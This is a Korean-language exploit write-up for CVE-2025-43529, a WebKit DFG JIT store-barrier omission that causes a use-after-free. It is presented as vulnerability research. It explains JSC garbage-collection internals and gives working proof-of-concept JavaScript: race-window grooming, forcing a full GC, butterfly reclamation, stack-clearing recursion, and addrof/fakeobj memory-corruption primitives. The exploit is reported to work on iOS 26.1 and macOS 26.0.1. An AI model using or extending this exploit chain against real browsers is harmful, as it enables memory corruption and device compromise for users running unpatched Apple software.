
CVE-2025-43529에 대한 기술 익스플로잇으로, WebKit DFG JIT 컴파일러 취약점으로 동시 GC의 누락된 저장 장벽으로 인한 use-after-free를 가능하게 하며, iOS 및 macOS용 전체 익스플로잇 프리미티브를 포함합니다.
Apple은 최근 iOS 26.2 및 iPadOS 26.2를 출시했으며, WebKit 취약점에 대한 수정 사항을 포함한 보안 권고를 발표했습니다. DFG JIT 컴파일러의 한 버그(CVE-2025-43529)가 눈에 띄어서 살펴보기로 했습니다.
JIT 컴파일러는 여러 제어 흐름 경로가 병합되는 Phi 노드가 이스케이프되었음을 올바르게 인식했지만, Phi의 Upsilon 노드도 이스케이프되었음을 감지하지 못했습니다. 이로 인해 DFG 컴파일의 StoreBarrierInsertionPhase가 주요 메모리 안전 메커니즘인 Store Barrier 삽입을 건너뛰었습니다. 결과적으로 동시 GC가 스캔해야 할 객체를 놓칠 수 있으며, 이는 use-after-free로 이어질 수 있습니다.
패치 커밋은 여기에서 확인할 수 있습니다.
iOS 26.1, iPadOS 26.1 및 macOS Tahoe 26.0.1에서 익스플로잇이 작동하는 것을 확인했습니다.
JSC는 힙을 효율적으로 관리하기 위해 세대별 GC 모델을 사용합니다. 이 모델에서 메모리는 객체 수명에 따라 Eden(새 공간)과 올드 공간으로 나뉩니다. 새로 할당된 모든 객체는 Eden에서 시작합니다. Eden이 가득 차면 Eden GC가 트리거되고 생존한 객체는 올드 공간으로 승격됩니다. 올드 공간 객체를 정리하려면 전체 GC가 필요합니다.
세대별 GC가 작동하려면 GC가 객체를 "이미 스캔됨", "스캔 필요" 또는 "재스캔 필요"로 분류해야 합니다. JSC에서는 객체의 cellState를 사용하여 이를 추적합니다. (GC에서 관리되는 모든 객체는 JSCell을 상속받습니다.)
StructureID m_structureID;
union {
uint32_t m_blob;
struct {
IndexingType m_indexingTypeAndMisc;
JSType m_type;
TypeInfo::InlineTypeFlags m_flags;
CellState m_cellState;
};
};
cellState는 1바이트이며 Black(0), White(1), Grey(2) 세 가지 색상 중 하나입니다.
White는 Eden에 막 할당된 객체를 의미합니다. 현재 GC 사이클에서 아직 표시되지 않았습니다. GC 사이클이 끝날 때까지 이 상태로 유지되면 객체는 수집됩니다.
Black은 GC가 이미 객체 표시를 완료했거나 표시 중임을 의미합니다. 기본적으로 활성 상태로 간주되지만, isMarked 비트는 여전히 꺼져 있을 수 있습니다.
Grey는 아직 스캔이 필요한 객체를 의미합니다. 더 정확히는 원래 Black이었지만, 쓰기 장벽에 포착되어 기억된 집합에 추가된 것입니다. 즉, 참조가 변경되었으므로 GC가 다시 스캔해야 합니다.
JSC에는 동시 GC도 있습니다. 이를 통해 메모리가 회수되는 동안 애플리케이션이 실행될 수 있습니다. GC가 백그라운드에서 객체를 표시하는 중에 애플리케이션이 동시에 해당 객체의 상태를 변경하면 경쟁 조건이 발생할 수 있습니다.
이를 방지하려면 순서 보장이 필요합니다. 예를 들어 "쓰기(저장) A, 그런 다음 읽기(로드) B"가 정확한 순서로 발생해야 합니다. 하지만 ARM64에서는 성능상의 이유로 CPU가 메모리 연산을 재정렬할 수 있습니다. 즉, GC가 잘못된 값을 읽을 수 있습니다.
따라서 JSC는 CPU의 데이터 종속성에 의존하기 위해 종속성 클래스를 사용하거나, 순서를 강제하기 위해 STLR 및 LDAR와 같은 특수 ARM64 명령어를 사용합니다. STLR은 이전 읽기/쓰기가 저장소보다 먼저 표시되도록 보장합니다(릴리스 저장소). LDAR는 이후 읽기/쓰기가 로드보다 앞서 이동할 수 없도록 보장합니다(취득 로드). 다른 스레드가 객체를 읽을 때 LDAR가 STLR과 쌍을 이루어 최신 데이터를 안전하게 관찰할 수 있습니다.
DMB는 단일 액세스를 위한 특수 명령어가 아닙니다. 주변의 모든 메모리 액세스에 순서를 강제하는 장벽입니다. DMB 이전의 메모리 연산이 이후의 연산보다 먼저 표시되도록 보장합니다.
JSC에는 총 3개의 JIT 계층이 있습니다. 실행 속도와 컴파일 비용(메모리/시간)의 균형을 맞추기 위해 실행 빈도에 따라 최적화를 적용하고 코드를 다음 계층으로 이동합니다.
Baseline JIT는 첫 번째 JIT 컴파일러입니다. 낮은 컴파일 오버헤드로 빠르게 네이티브 코드를 생성하는 데 중점을 둡니다. DFG JIT는 Baseline JIT 다음 단계로, 본격적인 최적화가 시작됩니다.
DFG 계층에서 JavaScript 명령어는 DFG IR 노드로 구성된 그래프로 변환됩니다. 컴파일러는 수집된 타입 정보를 사용하여 추측을 수행하고 불필요한 연산을 제거합니다.
JSC의 DFG 최적화 파이프라인에서 StoreBarrierInsertionPhase는 PutByOffset과 같이 메모리에 쓰는 노드 뒤에 StoreBarrier를 삽입합니다.
CVE-2025-43529는 StoreBarrierInsertionPhase에서 StoreBarrier를 삽입해야 할 때 삽입하지 않아서 발생하는 취약점입니다.
StoreBarrier는 쓰기 장벽 역할을 하는 노드입니다. 마킹 스레드와의 경쟁에서 정확성을 유지하는 데 사용됩니다.
패치 커밋에 설명된 취약한 DFG 노드 시나리오는 다음과 같습니다.
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
Branch(BB#2, BB#3)
BB#2
...
d: Something
e: Upsilon(@d, ^f)
Jump(BB#3)
BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...
BB#1에서 두 개의 새 객체가 생성되고 실행은 BB#2 또는 BB#3으로 분기됩니다. BB#2는 BB#3으로 폴스루됩니다. BB#3에서 흥미로운 부분은 Phi 노드입니다. f는 c 또는 e이며, 이 선택은 업스트림 Upsilon 노드에 의해 결정됩니다. BB#3에서 PutByOffset은 객체의 속성에 값을 추가하는 것을 의미합니다.
let A = { p0: 0x41414141 };
function jitme(flag) {
// BB#1
let a = { p0: 13.37 };
let b = { p0: 0x42424242 };
let f;
if (flag) {
// BB#2
f = b;
} else {
// BB#3
f = 1.1; // d
}
// BB#4
A.p0 = f;
b.p0 = a;
}
--dumpFTLDisassembly=true 옵션을 사용하면 FTL 컴파일 후 어셈블리를 검사할 수 있습니다.
// Starting BB#3
0 3 60: D@46:< 1:-> Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
1 3 60: D@53:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
2 3 60: D@57:<!0:-> ExitOK(MustGen, W:SideState, bc#50, ExitValid)
3 3 60: D@63:<!0:-> KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
4 3 60: D@60:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
5 3 60: D@67:<!0:-> KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
6 3 60: D@66:<!0:-> ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
7 3 60: D@69:<!0:-> FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
8 3 60: D@70:<!0:-> PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)
// D@65(A)를 위한 StoreBarrier
9 3 60: D@78:<!0:-> FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
10 3 60: D@73:<!0:-> FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)
// D@36 : b
// D@26 : a
// b.p0 = a
11 3 60: D@75:<!0:-> PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// D@36(b)를 위한 StoreBarrier가 있어야 할 위치
12 3 60: D@71:<!0:-> Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)
버그로 인해 b에 대한 StoreBarrier가 생성되지 않았습니다.
객체 A는 올드 공간에 있습니다. 첫 번째 PutByOffset(A.p0 = f)에서 올드 객체 A는 새 객체 f를 가리키게 됩니다. 즉, 마킹 스레드는 해당 저장 후 언제든지 A를 통해 f에 도달할 수 있습니다. 따라서 나중에 f의 속성을 변이하는 경우 StoreBarrier를 삽입해야 합니다.
f(Phi 노드)는 이스케이프된 것으로 처리되지만, f로 흐를 수 있는 실제 입력(Upsilon을 통한 b 및 d)은 이스케이프된 것으로 표시되지 않습니다. 논리적으로 f가 A에 저장되면 f가 될 수 있는 모든 객체( b 포함)도 사실상 A에 저장됩니다. 그러나 버그로 인해 컴파일러는 이를 인식하지 못하므로 b를 여전히 GC가 스캔할 필요가 없는 비이스케이프 "안전한" 값으로 간주하고 StoreBarrier를 건너뜁니다.
use-after-free를 트리거하려면 메인 스레드와 마킹 스레드 사이의 경쟁을 성공시켜야 합니다. 시나리오는 다음과 같습니다.
동시 마킹(마킹 스레드):
마킹 스레드는 올드 공간 객체 A에서 출발하여 b에 도달하고, A와 b를 모두 검은색으로 표시합니다.
참조 업데이트(메인 스레드):
메인 스레드가 b.p0 = a를 실행합니다. 이 시점에서 a는 아직 표시되지 않은 Eden 객체이므로 여전히 흰색입니다. 이로 인해 검은색 객체가 흰색 객체를 가리키는 상황이 발생합니다.
누락된 저장 장벽:
정상적으로는 b가 기억된 집합에 추가되어야 합니다. 그러나 버그로 인해 저장 장벽이 생략되었기 때문에 GC는 b가 a를 가리키고 있다는 사실을 알지 못합니다. GC 사이클이 계속되고 다른 곳에서 a를 참조하지 않으면 a는 계속 흰색으로 남아 결국 해제됩니다.
GC 사이클 종료:
이후 b.p0를 읽으면 해제된 메모리에 접근하여 use-after-free가 발생할 수 있습니다.
경쟁 조건을 활용하는 가장 어려운 부분은 경쟁 윈도우를 맞추는 것입니다. 객체 A와 b는 동일한 GC 사이클 내에서 표시되어야 합니다. 메인 스레드와 마킹 스레드 사이의 타이밍을 맞추기 위해 세 가지 기법을 사용했습니다.
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;
let A = {
p0: 0x41414141,
p1: 1.1,
p2: 2.2,
};
arr[arr_index] = A;
첫째, A에 대한 스캔이 시작될 때까지 타이밍 윈도우를 확보하기 위해 GC가 일부 자식을 방문하도록 만들어야 합니다. arr을 크게 만들고 A를 마지막 인덱스에 배치했습니다. 여기서 주의할 점은 A가 올드 공간에 있어야 한다는 것입니다.
let forGC = [];
let a = new Date(1);
a[0] = 1.1;
for (let j = 0; j < allocCount; ++j) {
let arr = new ArrayBuffer(0x80_0000);
forGC.push(arr);
}
A.p2 = forGC;
둘째, 올드 공간의 A를 스캔하려면 전체 GC를 트리거해야 합니다. 이를 위해 충분한 양의 큰 객체를 할당해야 합니다. GC 트리거를 일관성 있게 만들기 위해 할당된 객체가 "사용되지 않음"으로 최적화되지 않도록 참조를 유지했습니다. A.p2에 저장했습니다.
A.p1 = f;
let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
for (let j = 0; j < k; ++j) {
v = i;
v = j;
}
}
b.p0 = v;
b.p1 = a;
셋째, 전체 GC가 트리거된 후 충분히 큰 배열을 사용하여 A의 마킹을 지연시킬 수 있다면, 메인 스레드는 여전히 b에 a에 대한 참조를 추가하기 직전에 A의 마킹이 완료되도록 해야 합니다. 이 타이밍을 강제하기 위해 큰 루프를 추가했습니다. 그리고 루프가 최적화되지 않도록 최종 값을 b.p0에 저장했습니다.
GC 사이클이 끝난 후, 해제된 객체를 포함하는 MarkedBlock이 다시 사용될 때 해당 블록에서 표시되지 않은 객체가 스윕되는 것을 관찰할 수 있습니다. JSC에서 스윕 메커니즘은 MarkedBlock의 전체 또는 일부를 추가 할당에 사용할 수 있도록 만듭니다. 해제된 객체의 주소는 스윕이 발생한 후에야 할당자가 재사용할 수 있습니다.
reclaimed = false;
for (let i = 0; i < 1e6; ++i) {
let arr = [13.37, 2.2, 3.3, 4.4, noCow];
ref.push(arr);
if (freed_object[0] === 13.37) {
reclaimed = true;
break;
}
}
if (!reclaimed) {
print('failed');
}
경쟁 이후, 루프는 반복적으로 길이 5의 배열을 할당하여 스윕된 버터플라이를 회수하도록 유도합니다. 버터플라이가 재할당되면 동일한 버터플라이 주소를 공유하는 객체의 인덱스 속성을 읽어 감지할 수 있습니다.
내부적으로 arr을 생성하면 JSC::constructArrayBuffer가 호출되어 MarkedBlock::Handle::specializedSweep이 트리거됩니다. 이곳에서 버터플라이를 포함하는 블록의 FreeList가 초기화됩니다.
void MarkedBlock::Handle::specializedSweep(...)
{
// ...
if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
// ...
if (sweepMode == SweepToFreeList) {
if (scribbleMode == Scribble) [[unlikely]]
scribble(payloadBegin, payloadEnd - payloadBegin);
FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
interval->makeLast(payloadEnd - payloadBegin, secret);
freeList->initialize(interval, secret, payloadEnd - payloadBegin);
}
return;
}
// ...
}
PoC에서 경쟁 후 버터플라이를 포함하는 블록에서 스윕이 실행되면 emptyMode, marksMode, newlyAllocatedMode가 각각 IsEmpty, MarksStale, DoesNotHaveNewlyAllocated가 되어 위의 if 문으로 진입합니다.
일반적인 스윕에서는 프리 리스트를 조각으로 구축해야 하지만, 여기서는 전체 블록이 비어 있으므로 프리 리스트가 블록 전체를 포함하는 하나의 큰 간격으로 초기화됩니다. freeList 구조는 매우 간단합니다. 기본적으로 청크의 시작과 끝, 그리고 크기를 추적합니다.
이 시점에서 freeList에는 버터플라이 포인터를 포함한 전체 블록이 포함됩니다.
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
if (m_intervalStart < m_intervalEnd) [[likely]] {
char* result = m_intervalStart;
m_intervalStart += cellSize;
return std::bit_cast<HeapCell*>(result);
}
// ...
}
freeList에서 할당은 FreeList::allocateWithCellSize에 의해 처리됩니다. m_intervalStart와 m_intervalEnd가 같지 않으면 할당자는 간격에 사용 가능한 셀이 있다고 간주하고 현재 시작 포인터를 새 객체의 주소로 반환한 다음 시작 포인터를 cellSize만큼 앞으로 이동시킵니다.
이 함수는 JSC::constructArray에서 호출되며 루프 내에서 반복적으로 실행됩니다. 결국 새로 할당된 배열이 해제된 버터플라이 주소를 자신의 버터플라이로 사용하게 됩니다.
익스플로잇이 실패하는 데는 여러 가지 이유가 있지만, 한 가지 쉬운 개선점은 스택에 남아 있는 버터플라이 포인터를 제거하는 것입니다.
버터플라이 할당 중에 할당된 포인터가 스택에 반복적으로 기록됩니다. use-after-free를 트리거하는 함수를 호출한 후에도 해당 포인터가 남아 있으면 GC의 보수적인 스택 스캔이 이를 포착하여 표시하므로 해제되는 것을 방지하고 정상적으로 "보호"하게 됩니다.
PoC에서는 많은 수의 스택 프레임을 생성하는 함수를 호출하여 이 문제를 해결했습니다.
function recursive(n) {
if (n === 0)
return;
n = n | 0;
recursive(n - 1);
}
recursive(10000);
재귀 함수를 호출함으로써 메인 스레드는 스택 공간을 함수 프레임으로 채워서 남아 있는 모든 버터플라이 주소를 다른 값으로 덮어씁니다. 이후 스택 스캔 중에 버터플라이 포인터가 발견될 가능성이 낮아져 GC가 해당 버터플라이를 스캔하지 않을 확률이 높아집니다.
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;
function addrof(obj) {
boxed_arr[0] = obj;
return ftoi(unboxed_arr[0]);
}
function fakeobj(addr) {
unboxed_arr[0] = itof(addr);
return boxed_arr[0];
}
use-after-free를 통해 해제된 객체 a와 새로 할당된 배열에서 동일한 버터플라이를 가질 수 있습니다. 그런 다음 두 객체가 서로 다른 IndexingType을 사용하도록 하면 단일 버터플라이의 값을 Double과 Contiguous 모두로 접근할 수 있습니다. 이는 직접적으로 고전적인 addrof 및 fakeobj 프리미티브로 이어집니다.
addrof/fakeobj 프리미티브를 구축했다면 읽기/쓰기 프리미티브를 쉽게 구축할 수 있습니다. 그러나 코드 실행을 얻으려면 여전히 포인터 인증을 우회해야 합니다. 이 부분은 과제로 남겨둡니다.